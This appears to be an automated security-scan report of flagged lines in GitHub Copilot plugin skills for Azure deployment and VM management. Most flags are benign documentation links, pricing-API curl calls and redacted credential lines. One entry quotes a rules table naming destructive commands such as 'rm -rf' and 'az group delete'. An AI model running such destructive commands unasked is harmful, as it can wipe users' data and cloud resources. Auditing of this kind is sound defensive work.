  • Network accessline 41
    "azureActiveDirectory": {         "registration": {           "openIdIssuer": "https://login.microsoftonline.com/{tenant-id}",
  • Network accessline 42
    "registration": {           "openIdIssuer": "https://login.microsoftonline.com/{tenant-id}",           "clientIdSettingName": "AAD_CLIENT_ID",
  • Network accessline 43
    "openIdIssuer": "https://login.microsoftonline.com/{tenant-id}",
  • Access to secretsline 45
    [Credential-related source omitted]

harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/storage/access.md

  • Access to secretsline 70
    [Credential-related source omitted]
  • Network accessline 92
    const client = new BlobServiceClient(   `https://${accountName}.blob.core.windows.net`,
  • Network accessline 93
    `https://${accountName}.blob.core.windows.net`,

harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-validate/references/global-rules.md

  • Dangerous shell operationline 13
    | **Delete** | `az group delete`, `azd down`, `rm -rf`, delete resource |

harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-validate/references/recipes/azd/scripts/set-aspire-aca-env.ps1

  • Executable scriptline 1
    Executable file

harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-validate/references/recipes/azd/scripts/set-aspire-aca-env.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-validate/references/recipes/scripts/validate-deployment.ps1

  • Executable scriptline 1
    Executable file

harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-validate/references/recipes/scripts/validate-deployment.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-validate/references/recipes/terraform/README.md

  • Network accessline 59
    - Terraform: see https://developer.hashicorp.com/terraform/install

harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-validate/references/recipes/terraform/errors.md

  • Network accessline 28
    site_config {     cors {       allowed_origins = ["https://${azurerm_linux_web_app.frontend.default_hostname}"]
  • Network accessline 29
    cors {       allowed_origins = ["https://${azurerm_linux_web_app.frontend.default_hostname}"]     }
  • Network accessline 30
    allowed_origins = ["https://${azurerm_linux_web_app.frontend.default_hostname}"]
  • Network accessline 36
    resource "azurerm_linux_web_app" "frontend" {   app_settings = {     API_URL = "https://${azurerm_linux_web_app.api.default_hostname}"
  • Network accessline 37
    app_settings = {     API_URL = "https://${azurerm_linux_web_app.api.default_hostname}"   }
  • Network accessline 38
    API_URL = "https://${azurerm_linux_web_app.api.default_hostname}"
  • Network accessline 64
    > ⚠<U+FE0F> **Warning:** If using `["*"]` as a temporary bootstrap value, you **must** set `frontend_origin` to the actual URL (e.g., `https://app-web-*.azurewebsites.net`) and re-run `terraform apply` in the same deployment session before reporti

harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-validate/references/recipes/terraform/scripts/validate-terraform.ps1

  • Executable scriptline 1
    Executable file
  • Network accessline 50
    Add-Result "Terraform installed" "PASS" } else {     Add-Result "Terraform installed" "FAIL" "terraform not found on PATH. Install: https://developer.hashicorp.com/terraform/install"
  • Network accessline 51
    } else {     Add-Result "Terraform installed" "FAIL" "terraform not found on PATH. Install: https://developer.hashicorp.com/terraform/install" }
  • Network accessline 52
    Add-Result "Terraform installed" "FAIL" "terraform not found on PATH. Install: https://developer.hashicorp.com/terraform/install"

harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-validate/references/recipes/terraform/scripts/validate-terraform.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Network accessline 50
    record "Terraform installed" "PASS" else     record "Terraform installed" "FAIL" "terraform not found on PATH. Install: https://developer.hashicorp.com/terraform/install"
  • Network accessline 51
    else     record "Terraform installed" "FAIL" "terraform not found on PATH. Install: https://developer.hashicorp.com/terraform/install" fi
  • Network accessline 52
    record "Terraform installed" "FAIL" "terraform not found on PATH. Install: https://developer.hashicorp.com/terraform/install"
  • Dangerous shell operationline 102
    rm -f "$tmp"

harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-validate/references/region-availability.md

  • Network accessline 3
    > **AUTHORITATIVE SOURCE** — Consult this file BEFORE recommending any region. > > Official reference: https://azure.microsoft.com/en-us/explore/global-infrastructure/products-by-region/table
  • Network accessline 5
    > Official reference: https://azure.microsoft.com/en-us/explore/global-infrastructure/products-by-region/table
  • Network accessline 53
    > Check https://learn.microsoft.com/azure/ai-services/openai/concepts/models for current model availability.

harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-validate/references/scripts/scan-aspire-functions-secrets.ps1

  • Executable scriptline 1
    Executable file

harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-validate/references/scripts/scan-aspire-functions-secrets.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-validate/references/scripts/workflow.ps1

  • Executable scriptline 1
    Executable file

harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-validate/references/scripts/workflow.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

harness/github-copilot/plugins/azure-cloud-development/skills/az-cost-optimize/SKILL.md

  • Network accessline 73
    Calculate CPU and memory utilization averages, database throughput patterns, storage access frequency, and Function execution rates. Validate current monthly cost before recommendations by mapping `Resource -> Current SKU -> Estimated month

harness/github-copilot/plugins/azure-cloud-development/skills/azure-cli/scripts/setup-identity-federation.sh

  • Executable scriptline 1
    #!/bin/bash
  • Dangerous shell operationline 202
    trap "rm -f '$tmp'" RETURN
  • Network accessline 206
    {   "name": "${name}",   "issuer": "https://token.actions.githubusercontent.com",
  • Network accessline 207
    "name": "${name}",   "issuer": "https://token.actions.githubusercontent.com",   "audiences": ["api://AzureADTokenExchange"],
  • Network accessline 208
    "issuer": "https://token.actions.githubusercontent.com",
  • Network accessline 219
    {   "name": "${name}",   "issuer": "https://token.actions.githubusercontent.com",
  • Network accessline 220
    "name": "${name}",   "issuer": "https://token.actions.githubusercontent.com",   "subject": "${subject}",
  • Network accessline 221
    "issuer": "https://token.actions.githubusercontent.com",

harness/github-copilot/plugins/azure-cloud-development/skills/azure-compute/references/retail-prices-api.md

  • Network accessline 3
    The [Azure Retail Prices API](https://learn.microsoft.com/en-us/rest/api/cost-management/retail-prices/azure-retail-prices) is **unauthenticated** — no Azure account or subscription needed.
  • Network accessline 8
    https://prices.azure.com/api/retail/prices
  • Network accessline 13
    https://prices.azure.com/api/retail/prices?api-version=2023-01-01-preview
  • Network accessline 23
    GET https://prices.azure.com/api/retail/prices?$filter=serviceName eq 'Virtual Machines' and armRegionName eq 'eastus' and armSkuName eq 'Standard_D4s_v5' and priceType eq 'Consumption'
  • Network accessline 27
    curl -s "https://prices.azure.com/api/retail/prices?\$filter=serviceName%20eq%20'Virtual%20Machines'%20and%20armRegionName%20eq%20'eastus'%20and%20armSkuName%20eq%20'Standard_D4s_v5'%20and%20priceType%20eq%20'Consumption'"
  • Network accessline 31
    $filter = "serviceName eq 'Virtual Machines' and armRegionName eq 'eastus' and armSkuName eq 'Standard_D4s_v5' and priceType eq 'Consumption'" $response = Invoke-RestMethod "https://prices.azure.com/api/retail/prices?`$filter=$filter"
  • Network accessline 32
    $response = Invoke-RestMethod "https://prices.azure.com/api/retail/prices?`$filter=$filter"
  • Network accessline 39
    GET https://prices.azure.com/api/retail/prices?$filter=serviceName eq 'Virtual Machines' and armRegionName eq 'eastus' and contains(armSkuName, 'Standard_D') and priceType eq 'Consumption'
  • Network accessline 43
    curl -s "https://prices.azure.com/api/retail/prices?\$filter=serviceName%20eq%20'Virtual%20Machines'%20and%20armRegionName%20eq%20'eastus'%20and%20contains(armSkuName,%20'Standard_D')%20and%20priceType%20eq%20'Consumption'"
  • Network accessline 47
    $filter = "serviceName eq 'Virtual Machines' and armRegionName eq 'eastus' and contains(armSkuName, 'Standard_D') and priceType eq 'Consumption'" $response = Invoke-RestMethod "https://prices.azure.com/api/retail/prices?`$filter=$filter"
  • Network accessline 48
    $response = Invoke-RestMethod "https://prices.azure.com/api/retail/prices?`$filter=$filter"
  • Network accessline 55
    GET https://prices.azure.com/api/retail/prices?$filter=serviceName eq 'Virtual Machines' and armSkuName eq 'Standard_D4s_v5' and priceType eq 'Reservation'
  • Network accessline 59
    curl -s "https://prices.azure.com/api/retail/prices?\$filter=serviceName%20eq%20'Virtual%20Machines'%20and%20armSkuName%20eq%20'Standard_D4s_v5'%20and%20priceType%20eq%20'Reservation'"
  • Network accessline 63
    $filter = "serviceName eq 'Virtual Machines' and armSkuName eq 'Standard_D4s_v5' and priceType eq 'Reservation'" $response = Invoke-RestMethod "https://prices.azure.com/api/retail/prices?`$filter=$filter"
  • Network accessline 64
    $response = Invoke-RestMethod "https://prices.azure.com/api/retail/prices?`$filter=$filter"
  • Network accessline 72
    GET https://prices.azure.com/api/retail/prices?currencyCode='EUR'&$filter=serviceName eq 'Virtual Machines' and armSkuName eq 'Standard_D4s_v5'
  • Network accessline 76
    curl -s "https://prices.azure.com/api/retail/prices?currencyCode='EUR'&\$filter=serviceName%20eq%20'Virtual%20Machines'%20and%20armSkuName%20eq%20'Standard_D4s_v5'"
  • Network accessline 80
    $filter = "serviceName eq 'Virtual Machines' and armSkuName eq 'Standard_D4s_v5'" $response = Invoke-RestMethod "https://prices.azure.com/api/retail/prices?currencyCode='EUR'&`$filter=$filter"
  • Network accessline 81
    $response = Invoke-RestMethod "https://prices.azure.com/api/retail/prices?currencyCode='EUR'&`$filter=$filter"
  • Network accessline 119
    { "NextPageLink": "https://prices.azure.com:443/api/retail/prices?$filter=...&$skip=1000" }

harness/github-copilot/plugins/azure-cloud-development/skills/azure-compute/references/vm-families.md

  • Network accessline 5
    > **Source**: [Azure VM sizes overview](https://learn.microsoft.com/en-us/azure/virtual-machines/sizes/overview)

harness/github-copilot/plugins/azure-cloud-development/skills/azure-compute/references/vm-quotas.md

  • Network accessline 91
    - Invoke the **azure-quotas** skill for complete quota CLI workflows across all Azure providers - [VM Family Guide](vm-families.md) — Family-to-workload mapping - [Azure VM quotas documentation](https://learn.microsoft.com/en-us/azure/virtu
  • Network accessline 93
    - [Azure VM quotas documentation](https://learn.microsoft.com/en-us/azure/virtual-machines/quotas)

harness/github-copilot/plugins/azure-cloud-development/skills/azure-compute/references/vmss-guide.md

  • Network accessline 5
    > **Note:** This reference provides quick guidance but may become stale. Always verify VMSS features, limitations, and orchestration mode capabilities by fetching the latest documentation from: > - https://learn.microsoft.com/en-us/azure/vi
  • Network accessline 6
    > - https://learn.microsoft.com/en-us/azure/virtual-machine-scale-sets/overview
  • Network accessline 7
    > - https://learn.microsoft.com/en-us/azure/virtual-machine-scale-sets/virtual-machine-scale-sets-autoscale-overview
  • Network accessline 8
    > - https://learn.microsoft.com/en-us/azure/virtual-machine-scale-sets/orchestration-modes-api-comparison
  • Network accessline 62
    - Use a **cool-down period** (default 5 min) to avoid flapping - Scale out aggressively, scale in conservatively (asymmetric rules) - Monitor with [Azure Monitor autoscale diagnostics](https://learn.microsoft.com/en-us/azure/azure-monitor/a
  • Network accessline 64
    - Monitor with [Azure Monitor autoscale diagnostics](https://learn.microsoft.com/en-us/azure/azure-monitor/autoscale/autoscale-best-practices)
  • Network accessline 92
    - [VMSS orchestration modes](https://learn.microsoft.com/en-us/azure/virtual-machine-scale-sets/virtual-machine-scale-sets-orchestration-modes)
  • Network accessline 93
    - [Autoscale best practices](https://learn.microsoft.com/en-us/azure/azure-monitor/autoscale/autoscale-best-practices)
  • Network accessline 94
    - [VMSS networking](https://learn.microsoft.com/en-us/azure/virtual-machine-scale-sets/virtual-machine-scale-sets-networking)
  • Network accessline 95
    - [VMSS Flexible portal quickstart](https://learn.microsoft.com/en-us/azure/virtual-machine-scale-sets/flexible-virtual-machine-scale-sets-portal)

harness/github-copilot/plugins/azure-cloud-development/skills/azure-compute/workflows/capacity-reservation/references/association-disassociation.md

  • Network accessline 61
    Existing VMSS can be associated using `az vmss update` similarly to VMs. Regional VMSS must be deallocated first. Zonal VMSS can be associated without deallocating, but this is currently a [Preview feature](https://learn.microsoft.com/en-us
  • Network accessline 104
    - [Associate a VM to a Capacity Reservation Group](https://learn.microsoft.com/en-us/azure/virtual-machines/capacity-reservation-associate-vm)
  • Network accessline 105
    - [Remove/disassociate a VM from a Capacity Reservation Group](https://learn.microsoft.com/en-us/azure/virtual-machines/capacity-reservation-remove-vm)
  • Network accessline 106
    - [Remove/disassociate a VMSS from a Capacity Reservation Group](https://learn.microsoft.com/en-us/azure/virtual-machines/capacity-reservation-remove-virtual-machine-scale-set)

harness/github-copilot/plugins/azure-cloud-development/skills/azure-compute/workflows/capacity-reservation/references/capacity-reservation-overview.md

  • Network accessline 103
    - [Azure Capacity Reservations documentation](https://learn.microsoft.com/en-us/azure/virtual-machines/capacity-reservation-overview)
  • Network accessline 104
    - [Create a Capacity Reservation](https://learn.microsoft.com/en-us/azure/virtual-machines/capacity-reservation-create)

harness/github-copilot/plugins/azure-cloud-development/skills/azure-compute/workflows/essential-machine-management/essential-machine-management.md

  • Network accessline 51
    GET https://management.azure.com/subscriptions/{subscriptionId}/providers/Microsoft.ManagedOps/managedOps/default?api-version=2025-07-28-preview
  • Network accessline 81
    For common EMM issues, refer to the official documentation: - [Troubleshoot Essential Machine Management (Preview)](https://learn.microsoft.com/en-us/azure/operations/configuration-enrollment-troubleshoot)
  • Network accessline 82
    - [Troubleshoot Essential Machine Management (Preview)](https://learn.microsoft.com/en-us/azure/operations/configuration-enrollment-troubleshoot)

harness/github-copilot/plugins/azure-cloud-development/skills/azure-compute/workflows/essential-machine-management/references/emm-enable-flow.md

  • Network accessline 33
    az rest --method GET --url "https://graph.microsoft.com/v1.0/me" --query id -o tsv
  • Network accessline 39
    GET https://management.azure.com/subscriptions/{subscriptionId}/providers/Microsoft.Authorization/roleAssignments?api-version=2022-04-01&$filter=assignedTo('{objectId}')
  • Network accessline 47
    GET https://management.azure.com/subscriptions/{subscriptionId}/providers/Microsoft.Authorization/roleDefinitions?api-version=2022-04-01
  • Network accessline 76
    GET https://management.azure.com/subscriptions/{subscriptionId}/providers/Microsoft.Authorization/roleAssignments?api-version=2022-04-01&$filter=assignedTo('{uamiPrincipalId}')

harness/github-copilot/plugins/azure-cloud-development/skills/azure-compute/workflows/essential-machine-management/references/emm-overview.md

  • Network accessline 46
    - [Essential Machine Management (Preview)](https://learn.microsoft.com/en-us/azure/operations/configuration-enrollment)
  • Network accessline 47
    - [Troubleshoot EMM](https://learn.microsoft.com/en-us/azure/operations/configuration-enrollment-troubleshoot)

harness/github-copilot/plugins/azure-cloud-development/skills/azure-compute/workflows/vm-creator/examples/bicep/README.md

  • Access to secretsline 8
    [Credential-related source omitted]
  • Access to secretsline 13
    [Credential-related source omitted]
  • Access to secretsline 16
    [Credential-related source omitted]
  • Access to secretsline 18
    [Credential-related source omitted]
  • Access to secretsline 21
    [Credential-related source omitted]

harness/github-copilot/plugins/azure-cloud-development/skills/azure-compute/workflows/vm-creator/examples/bicep/main.bicep

  • Access to secretsline 139
    [Credential-related source omitted]

harness/github-copilot/plugins/azure-cloud-development/skills/azure-compute/workflows/vm-creator/examples/terraform/README.md

  • Access to secretsline 9
    [Credential-related source omitted]
  • Network accessline 14
    MY_IP=$(curl -s ifconfig.me)/32   # your current public IP, locked to /32
  • Access to secretsline 16
    [Credential-related source omitted]
  • Access to secretsline 17
    [Credential-related source omitted]
  • Access to secretsline 51
    [Credential-related source omitted]

harness/github-copilot/plugins/azure-cloud-development/skills/azure-compute/workflows/vm-creator/references/delivery-options/github-pr.md

  • Network accessline 7
    1. **Repo** — accept any of:    - `owner/name` (e.g., `myorg/azure-infra`)    - Full URL (e.g., `https://github.com/myorg/azure-infra`)
  • Network accessline 8
    - `owner/name` (e.g., `myorg/azure-infra`)    - Full URL (e.g., `https://github.com/myorg/azure-infra`)    - Local checkout path (e.g., `~/source/azure-infra`) — skips clone
  • Network accessline 9
    - Full URL (e.g., `https://github.com/myorg/azure-infra`)
  • Network accessline 76
    > ✅ Opened PR: https://github.com/myorg/azure-infra/pull/42

harness/github-copilot/plugins/azure-cloud-development/skills/azure-compute/workflows/vm-creator/references/delivery-options/save-local.md

  • Access to secretsline 47
    [Credential-related source omitted]

harness/github-copilot/plugins/azure-cloud-development/skills/azure-compute/workflows/vm-creator/references/depth-probe/beginner.md

  • Access to secretsline 13
    [Credential-related source omitted]
  • Network accessline 14
    - **VNet:** create new `<vm-name>-vnet` with `10.0.0.0/16` - **Subnet:** `default` with `10.0.0.0/24` - **NSG:** create new, allow SSH 22 (Linux) or RDP 3389 (Windows) from **the user's current public IP** (detect via `curl -s ifconfig.me` 
  • Network accessline 15
    - **Subnet:** `default` with `10.0.0.0/24` - **NSG:** create new, allow SSH 22 (Linux) or RDP 3389 (Windows) from **the user's current public IP** (detect via `curl -s ifconfig.me` or equivalent) — only fall back to `*` if detection fails, 
  • Network accessline 16
    - **NSG:** create new, allow SSH 22 (Linux) or RDP 3389 (Windows) from **the user's current public IP** (detect via `curl -s ifconfig.me` or equivalent) — only fall back to `*` if detection fails, and always flag the chosen source in the Pl

harness/github-copilot/plugins/azure-cloud-development/skills/azure-compute/workflows/vm-creator/references/depth-probe/networking-deep.md

  • Network accessline 7
    | VNet | "Existing VNet, or new?" | If existing: ask name + RG; offer to list via `network_vnet_list` MCP or `az network vnet list` | | Subnet sizing | "Subnet CIDR?" | `/24` if new | | NSG | "Inbound rules: default (SSH/RDP from your IP) o
  • Network accessline 8
    | Subnet sizing | "Subnet CIDR?" | `/24` if new | | NSG | "Inbound rules: default (SSH/RDP from your IP) or paste a rule set?" | Restrict source to user's current public IP — fetch via `curl -s ifconfig.me` if not provided | | Public IP | "
  • Network accessline 9
    | NSG | "Inbound rules: default (SSH/RDP from your IP) or paste a rule set?" | Restrict source to user's current public IP — fetch via `curl -s ifconfig.me` if not provided |

harness/github-copilot/plugins/azure-cloud-development/skills/azure-compute/workflows/vm-creator/references/output-adapters/az-cli.md

  • Access to secretsline 47
    [Credential-related source omitted]
  • Access to secretsline 54
    [Credential-related source omitted]
  • Access to secretsline 66
    [Credential-related source omitted]

harness/github-copilot/plugins/azure-cloud-development/skills/azure-compute/workflows/vm-creator/references/output-adapters/bicep.md

  • Access to secretsline 14
    [Credential-related source omitted]
  • Access to secretsline 18
    [Credential-related source omitted]
  • Access to secretsline 20
    [Credential-related source omitted]
  • Access to secretsline 24
    [Credential-related source omitted]

harness/github-copilot/plugins/azure-cloud-development/skills/azure-compute/workflows/vm-creator/references/output-adapters/terraform.md

  • Access to secretsline 18
    [Credential-related source omitted]
  • Access to secretsline 20
    [Credential-related source omitted]

harness/github-copilot/plugins/azure-cloud-development/skills/azure-compute/workflows/vm-creator/references/plan-card.md

  • Access to secretsline 32
    [Credential-related source omitted]

harness/github-copilot/plugins/azure-cloud-development/skills/azure-compute/workflows/vm-recommender/references/web-fetch-policy.md

  • Network accessline 17
    ## What to fetch (Step 2 — VMSS)
  • Network accessline 20
    https://learn.microsoft.com/azure/virtual-machine-scale-sets/overview
  • Network accessline 21
    https://learn.microsoft.com/azure/virtual-machine-scale-sets/virtual-machine-scale-sets-autoscale-overview
  • Network accessline 24
    ## What to fetch (Step 3 — VM family)
  • Network accessline 27
    https://learn.microsoft.com/azure/virtual-machines/sizes/<family-category>/<series-name>
  • Network accessline 30
    Examples: - B-series: `https://learn.microsoft.com/azure/virtual-machines/sizes/general-purpose/b-family`
  • Network accessline 31
    - B-series: `https://learn.microsoft.com/azure/virtual-machines/sizes/general-purpose/b-family` - D-series: `https://learn.microsoft.com/azure/virtual-machines/sizes/general-purpose/ddsv5-series` - GPU: `https://learn.microsoft.com/azure/vi
  • Network accessline 32
    - D-series: `https://learn.microsoft.com/azure/virtual-machines/sizes/general-purpose/ddsv5-series`
  • Network accessline 33
    - GPU: `https://learn.microsoft.com/azure/virtual-machines/sizes/gpu-accelerated/nc-family`
  • Network accessline 35
    For Spot, also: `https://learn.microsoft.com/azure/virtual-machine-scale-sets/use-spot`.

harness/github-copilot/plugins/azure-cloud-development/skills/azure-compute/workflows/vm-recommender/vm-recommender.md

  • Network accessline 56
    https://learn.microsoft.com/en-us/azure/virtual-machines/sizes/<family-category>/<series-name>
  • Network accessline 59
    For Spot eligibility, also fetch `https://learn.microsoft.com/en-us/azure/virtual-machine-scale-sets/use-spot`. If any fetch fails, follow [web-fetch-policy.md](references/web-fetch-policy.md). Same SKUs apply to single VMs and VMSS.
  • Network accessline 101
    - Compare reservation / savings plan pricing (`priceType eq 'Reservation'` in the API) - Suggest [Azure Pricing Calculator](https://azure.microsoft.com/pricing/calculator/) for full estimates
  • Network accessline 102
    - Suggest [Azure Pricing Calculator](https://azure.microsoft.com/pricing/calculator/) for full estimates
  • Network accessline 103
    - For VMSS: [autoscale best practices](https://learn.microsoft.com/azure/azure-monitor/autoscale/autoscale-best-practices), [VMSS networking](https://learn.microsoft.com/azure/virtual-machine-scale-sets/virtual-machine-scale-sets-networking

harness/github-copilot/plugins/azure-cloud-development/skills/azure-enterprise-infra-planner/references/constraints/networking-connectivity.md

  • Network accessline 8
    | **Developer SKU** | Does NOT require `AzureBastionSubnet` or public IP. Deploys as shared infrastructure. Only connects to VMs in the same VNet. | | **Public IP** | Requires Standard SKU public IP with Static allocation. | | **NSG** | NSG
  • Network accessline 9
    | **Public IP** | Requires Standard SKU public IP with Static allocation. | | **NSG** | NSG on `AzureBastionSubnet` requires mandatory inbound (HTTPS 443 from Internet, GatewayManager 443) and outbound rules (see [Bastion NSG docs](https://
  • Network accessline 10
    | **NSG** | NSG on `AzureBastionSubnet` requires mandatory inbound (HTTPS 443 from Internet, GatewayManager 443) and outbound rules (see [Bastion NSG docs](https://learn.microsoft.com/azure/bastion/bastion-nsg)). |

harness/github-copilot/plugins/azure-cloud-development/skills/azure-enterprise-infra-planner/references/constraints/networking-core.md

  • Network accessline 32
    |-------------|------------| | **GatewaySubnet** | NSGs are not supported on `GatewaySubnet`. Associating an NSG may cause VPN and ExpressRoute gateways to stop functioning. | | **AzureBastionSubnet** | NSG on Bastion subnet requires specif
  • Network accessline 33
    | **GatewaySubnet** | NSGs are not supported on `GatewaySubnet`. Associating an NSG may cause VPN and ExpressRoute gateways to stop functioning. | | **AzureBastionSubnet** | NSG on Bastion subnet requires specific inbound/outbound rules (se
  • Network accessline 34
    | **AzureBastionSubnet** | NSG on Bastion subnet requires specific inbound/outbound rules (see [Azure Bastion NSG](https://learn.microsoft.com/azure/bastion/bastion-nsg)). |

harness/github-copilot/plugins/azure-cloud-development/skills/azure-enterprise-infra-planner/references/resources/ai-ml.md

  • Network accessline 11
    | Resource | Bicep Reference | Service Overview | Naming Rules | Additional | |----------|----------------|------------------|--------------|------------| | Cognitive Services | [2025-06-01](https://learn.microsoft.com/azure/templates/micro
  • Network accessline 12
    |----------|----------------|------------------|--------------|------------| | Cognitive Services | [2025-06-01](https://learn.microsoft.com/azure/templates/microsoft.cognitiveservices/accounts?pivots=deployment-language-bicep) | [Custom su
  • Network accessline 13
    | Cognitive Services | [2025-06-01](https://learn.microsoft.com/azure/templates/microsoft.cognitiveservices/accounts?pivots=deployment-language-bicep) | [Custom subdomain names](https://learn.microsoft.com/azure/ai-services/cognitive-servic
  • Network accessline 14
    | ML Workspace | [2025-06-01](https://learn.microsoft.com/azure/templates/microsoft.machinelearningservices/workspaces?pivots=deployment-language-bicep) | [ML Services](https://learn.microsoft.com/azure/templates/microsoft.machinelearningse
  • Network accessline 15
    | AI Search | [2025-05-01](https://learn.microsoft.com/azure/templates/microsoft.search/searchservices?pivots=deployment-language-bicep) | [Service limits](https://learn.microsoft.com/azure/search/search-limits-quotas-capacity) | [Naming ru

harness/github-copilot/plugins/azure-cloud-development/skills/azure-enterprise-infra-planner/references/resources/compute-apps.md

  • Network accessline 15
    | Resource | Bicep Reference | Service Overview | Naming Rules | Additional | |----------|----------------|------------------|--------------|------------| | App Service | [2024-11-01](https://learn.microsoft.com/azure/templates/microsoft.we
  • Network accessline 16
    |----------|----------------|------------------|--------------|------------| | App Service | [2024-11-01](https://learn.microsoft.com/azure/templates/microsoft.web/sites?pivots=deployment-language-bicep) | [App Service overview](https://lea
  • Network accessline 17
    | App Service | [2024-11-01](https://learn.microsoft.com/azure/templates/microsoft.web/sites?pivots=deployment-language-bicep) | [App Service overview](https://learn.microsoft.com/azure/app-service/overview) | [Naming rules](https://learn.m
  • Network accessline 18
    | App Service Plan | [2024-11-01](https://learn.microsoft.com/azure/templates/microsoft.web/serverfarms?pivots=deployment-language-bicep) | [Plan overview](https://learn.microsoft.com/azure/app-service/overview-hosting-plans) | [Naming rule
  • Network accessline 19
    | Container App | [2025-01-01](https://learn.microsoft.com/azure/templates/microsoft.app/containerapps?pivots=deployment-language-bicep) | [Container Apps overview](https://learn.microsoft.com/azure/container-apps/overview) | [Naming rules]
  • Network accessline 20
    | Container Apps Environment | [2025-01-01](https://learn.microsoft.com/azure/templates/microsoft.app/managedenvironments?pivots=deployment-language-bicep) | [Environments overview](https://learn.microsoft.com/azure/container-apps/environme
  • Network accessline 21
    | Container Registry | [2025-04-01](https://learn.microsoft.com/azure/templates/microsoft.containerregistry/registries?pivots=deployment-language-bicep) | [ACR overview](https://learn.microsoft.com/azure/container-registry/container-registr
  • Network accessline 22
    | Function App | [2024-11-01](https://learn.microsoft.com/azure/templates/microsoft.web/sites?pivots=deployment-language-bicep) | [Functions overview](https://learn.microsoft.com/azure/azure-functions/functions-overview) | [Naming rules](ht
  • Network accessline 23
    | Static Web App | [2024-11-01](https://learn.microsoft.com/azure/templates/microsoft.web/staticsites?pivots=deployment-language-bicep) | [Static Web Apps overview](https://learn.microsoft.com/azure/static-web-apps/overview) | [Naming rules

harness/github-copilot/plugins/azure-cloud-development/skills/azure-enterprise-infra-planner/references/resources/compute-infra.md

  • Network accessline 13
    | Resource | Bicep Reference | Service Overview | Naming Rules | Additional | |----------|----------------|------------------|--------------|------------| | AKS Cluster | [2025-05-01](https://learn.microsoft.com/azure/templates/microsoft.co
  • Network accessline 14
    |----------|----------------|------------------|--------------|------------| | AKS Cluster | [2025-05-01](https://learn.microsoft.com/azure/templates/microsoft.containerservice/managedclusters?pivots=deployment-language-bicep) | [AKS overvi
  • Network accessline 15
    | AKS Cluster | [2025-05-01](https://learn.microsoft.com/azure/templates/microsoft.containerservice/managedclusters?pivots=deployment-language-bicep) | [AKS overview](https://learn.microsoft.com/azure/aks/intro-kubernetes) | [Naming rules](
  • Network accessline 16
    | Availability Set | [2024-11-01](https://learn.microsoft.com/azure/templates/microsoft.compute/availabilitysets?pivots=deployment-language-bicep) | [Overview](https://learn.microsoft.com/azure/virtual-machines/availability-set-overview) | 
  • Network accessline 17
    | Managed Disk | [2025-01-02](https://learn.microsoft.com/azure/templates/microsoft.compute/disks?pivots=deployment-language-bicep) | [Managed disks overview](https://learn.microsoft.com/azure/virtual-machines/managed-disks-overview) | [Nam
  • Network accessline 18
    | Virtual Machine | [2024-11-01](https://learn.microsoft.com/azure/templates/microsoft.compute/virtualmachines?pivots=deployment-language-bicep) | [VMs overview](https://learn.microsoft.com/azure/virtual-machines/overview) | [Naming rules](
  • Network accessline 19
    | VM Scale Set | [2024-11-01](https://learn.microsoft.com/azure/templates/microsoft.compute/virtualmachinescalesets?pivots=deployment-language-bicep) | [VMSS overview](https://learn.microsoft.com/azure/virtual-machine-scale-sets/overview) |

harness/github-copilot/plugins/azure-cloud-development/skills/azure-enterprise-infra-planner/references/resources/data-analytics.md

  • Network accessline 13
    | Resource | Bicep Reference | Service Overview | Naming Rules | Additional | |----------|----------------|------------------|--------------|------------| | Cosmos DB | [2025-04-15](https://learn.microsoft.com/azure/templates/microsoft.docu
  • Network accessline 14
    |----------|----------------|------------------|--------------|------------| | Cosmos DB | [2025-04-15](https://learn.microsoft.com/azure/templates/microsoft.documentdb/databaseaccounts?pivots=deployment-language-bicep) | [Cosmos DB overvie
  • Network accessline 15
    | Cosmos DB | [2025-04-15](https://learn.microsoft.com/azure/templates/microsoft.documentdb/databaseaccounts?pivots=deployment-language-bicep) | [Cosmos DB overview](https://learn.microsoft.com/azure/cosmos-db/introduction) | [Naming rules]
  • Network accessline 16
    | Data Factory | [2018-06-01](https://learn.microsoft.com/azure/templates/microsoft.datafactory/factories?pivots=deployment-language-bicep) | [ADF overview](https://learn.microsoft.com/azure/data-factory/introduction) | [Naming rules](https
  • Network accessline 17
    | Redis Cache | [2024-11-01](https://learn.microsoft.com/azure/templates/microsoft.cache/redis?pivots=deployment-language-bicep) | [Redis overview](https://learn.microsoft.com/azure/azure-cache-for-redis/cache-overview) | [Naming rules](htt
  • Network accessline 18
    | Storage Account | [2025-01-01](https://learn.microsoft.com/azure/templates/microsoft.storage/storageaccounts?pivots=deployment-language-bicep) | [Storage overview](https://learn.microsoft.com/azure/storage/common/storage-account-overview)
  • Network accessline 19
    | Synapse Workspace | [2021-06-01](https://learn.microsoft.com/azure/templates/microsoft.synapse/workspaces?pivots=deployment-language-bicep) | [Synapse overview](https://learn.microsoft.com/azure/synapse-analytics/overview-what-is) | [Nami

harness/github-copilot/plugins/azure-cloud-development/skills/azure-enterprise-infra-planner/references/resources/data-relational.md

  • Network accessline 12
    | Resource | Bicep Reference | Service Overview | Naming Rules | Additional | |----------|----------------|------------------|--------------|------------| | SQL Server | [2023-08-01](https://learn.microsoft.com/azure/templates/microsoft.sql
  • Network accessline 13
    |----------|----------------|------------------|--------------|------------| | SQL Server | [2023-08-01](https://learn.microsoft.com/azure/templates/microsoft.sql/servers?pivots=deployment-language-bicep) | [SQL Server overview](https://lea
  • Network accessline 14
    | SQL Server | [2023-08-01](https://learn.microsoft.com/azure/templates/microsoft.sql/servers?pivots=deployment-language-bicep) | [SQL Server overview](https://learn.microsoft.com/azure/azure-sql/database/sql-database-paas-overview) | [Nami
  • Network accessline 15
